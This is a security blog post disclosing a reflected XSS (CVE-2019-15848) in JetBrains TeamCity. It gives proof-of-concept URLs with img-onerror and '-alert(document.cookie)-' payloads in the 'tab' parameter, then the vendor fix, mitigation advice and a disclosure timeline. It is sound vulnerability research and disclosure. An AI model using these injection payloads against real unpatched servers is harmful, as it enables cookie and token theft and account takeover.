Sep 27, 19 3:23 pm

Was this post helpful?

Jetbrains TeamCity Reflected XSS

Sep 27, 2019
| by:
Sherif Koussa

How we came about the TeamCity XSS: CVE-2019-15848

On a recent client engagement, we were challenged to gain access to their private CI server. The CI server suffered from a security misconfiguration, and we were able to gain access. This was already a success, but we wanted to show more impact on XSS.

We started looking around the client’s TeamCity instance to see how we could increase the impact of the issue. While manually crawling the site, with Burp open in the background, Burp popped a DOM-based XSS issue. This is generally a false positive, but we had a look anyway.

This is where the fun began.

The analysis BurpSuite produced was the following:

Data is read from location.href and passed to jQuery.html.

The following value was injected into the source:

https://teamcity.jetbrains.com/project.html?projectId=ja21ikln4q%27%22`'"/ja21ikln4q/><ja21ikln4q/>eqoajxnqdk&cb_Root&fromExperimentalUI=ja21ikln4q%27%22`'"/ja21ikln4q/><ja21ikln4q/>eqoajxnqdk&true&tab=ja21ikln4q%27%22`'"/ja21ikln4q/><ja21ikln4q/>eqoajxnqdk&stats

The previous value reached the sink as:

<divdata-projectId="cb_Root" data-parentId="_Root"><span><span><span><svg width="20" height="20" viewBox="0 0 20 20"><path d="M2 9h7V2H2zm2-5h3v3H4zm7-2v7h7V2zm5 5h-3V4h3zM2 18h7v-7H2zm2-5h3v3H4zm7 5h7v-7h-7zm2-5h3v3h-3z"></path></svg></span><span><svg width="20" height="20" viewBox="0 0 20 20"><path d="M2 9h7V2H2zm2-5h3v3H4zm6 7l5 8 5-8zm8-9h-7v7h7zm-2 5h-3V4h3zM2 18h7v-7H2zm2-5h3v3H4z"></path></svg></span></span><a href='https://teamcity.jetbrains.com/project.html?projectId=ja21ikln4q%27%22`'"/ja21ikln4q/><ja21ikln4q/>eqoajxnqdk&cb_Root&fromExperimentalUI=ja21ikln4q%27%22`'"/ja21ikln4q/><ja21ikln4q/>eqoajxnqdk&true&stats&projectId=cb_Root'>teamcity.codebetter.com </a></span></div>

…snip…

The following proof of concept was generated for this issue:

https://teamcity.jetbrains.com/project.html?projectId='"><img src=1 onerror=alert(1)>cb_Root&fromExperimentalUI='"><img src=1 onerror=alert(1)>true&tab='"><img src=1 onerror=alert(1)>stats

I tried the POC, it didn’t work, and it returned a 404.

Let us try and get a working URL, and see if any injections are reflected. A working URL looks like:

https://teamcity.jetbrains.com/project.html?projectId=cb_Root&fromExperimentalUI=true&tab=stats

I tried injecting payloads I could easily search for in the DOM, like “xINJECTx”, into each query string parameter.

For the “tab” parameter, I found that my payload was reflected in the page inside a JavaScript context. This means my “xINJECTx” was inside script tags when the page was rendered. I sent the request “https://teamcity.jetbrains.com/overview.html?tab=xINJECTx” and was returned:

<script>

ReactUI.renderConnected('open_in_experimental_ui', ReactUI.OpenInExperimentalUI, {

tab: ‘xINJECTx’

});

</script>

This has the potential of a reflected XSS!

I tried the URL “https://teamcity.jetbrains.com/overview.html?tab=’-alert(document.cookie)-‘” and the payload:

‘-alert(document.cookie)-‘

And was met with the following page:

Jackpot!

This means our injection is returned to the browser, where the payload executes. This can lead to many outcomes, some of which have high impact, including the potential to steal CSRF tokens, which can lead to account takeover. The injection was found to work on 4 pages in total.

Another researcher found the same XSS independently of us, and was able to show more impact by proving they were able to gain remote command execution.

The issue was also valid on the open source TeamCity instance, so the examples above are all based on that instead of the private client data.

We disclosed the issue privately to Jetbrains, and they promptly created a fix. The XSS affects versions 2019.1 and 2019.1.1 of TeamCity and is fixed in version 2019.1.2.

The fixed script snippet looks like:

<script>
ReactUI.renderConnected('open_in_experimental_ui', ReactUI.OpenInExperimentalUI, {
favoriteBuilds: true,
tab: ReactUI.queryToObject(location.search).tab
});
</script>

This safely accepts input from the tab query string parameter.

How to Fix

Always dig a little deeper to see how we can increase the impact of our findings.

In general, the key to fixing XSS in any form, is to apply the proper encoding to the output before being rendered in a browser. In this case, the fix was to remove the reflected payload, and access the query string value in a safe way. This is a better approach in this case, as user input is no longer reflected onto the page. For detailed XSS mitigation techniques visit our post on practical mitigation techniques.

Timeline

July 16, 2019 – Found reflected XSS issue

July 17, 2019 – Reported reflected XSS issue

July 18, 2019 – Issue updated to fixed

July 19, 2019 – Issue verified as fixed

July 31, 2019 – TeamCity 2019.1.2 released

September 26, 2019 – Quarterly Security Bulletin released describing security issues

Jetbrains Teamcity CVE Publication

https://blog.jetbrains.com/teamcity/2019/07/teamcity-2019-1-2-is-released/

Release Notes

https://confluence.jetbrains.com/display/TW/TeamCity+2019.1.2+%28build+66342%29+Release+Notes?_ga=2.222175448.1182847514.1568988977-1342116643.1568988977

Security Bulletin

https://blog.jetbrains.com/blog/2019/09/26/jetbrains-security-bulletin-q2-2019/

Note:

Another researcher found the same XSS independently of us, and was able to show more impact by proving they were able to gain remote command execution. https://twitter.com/JLLeitschuh/status/1169332316612644864?s=20

Was this post helpful?

About the Author

Sherif Koussa
Sherif Koussa is OWASP Ottawa Chapter Co-Leader, Software Developer, Hacker, and founder and CEO of Software Secured and Reshift. In addition to contributing to OWASP Ottawa for over 14 years, Sherif contributed to WebGoat, and OWASP Cheat Sheets. Sherif also helped the SANS and GIAC organizations launch their GSSP-Java and GSSP-NET exams and contributed to a few of their courses. After switching from the software development field to the security field, Sherif took on the mission of supporting developers shifting security left, and ship more secure code organically.
Share This Post

Leave a Reply

Your email address will not be published.

Related Post

May 17, 2023 by Omkar Hiremath

Risk of Security and Monitoring Logging Failures

Read more

Was this post helpful?

May 1, 2023 by Omkar Hiremath

Intro to Identification and Authentication Failures

Read more

Was this post helpful?

Dec 22, 2022 by Warren Moynihan

3 Types of XSS Attacks & 4 XSS Mitigation Strategies

Read more

Was this post helpful?

Office

301 Moodie Dr. Unit 108
Ottawa ON K2H 9C4

Designed by WP Expert
© 2023
Software Secured
cross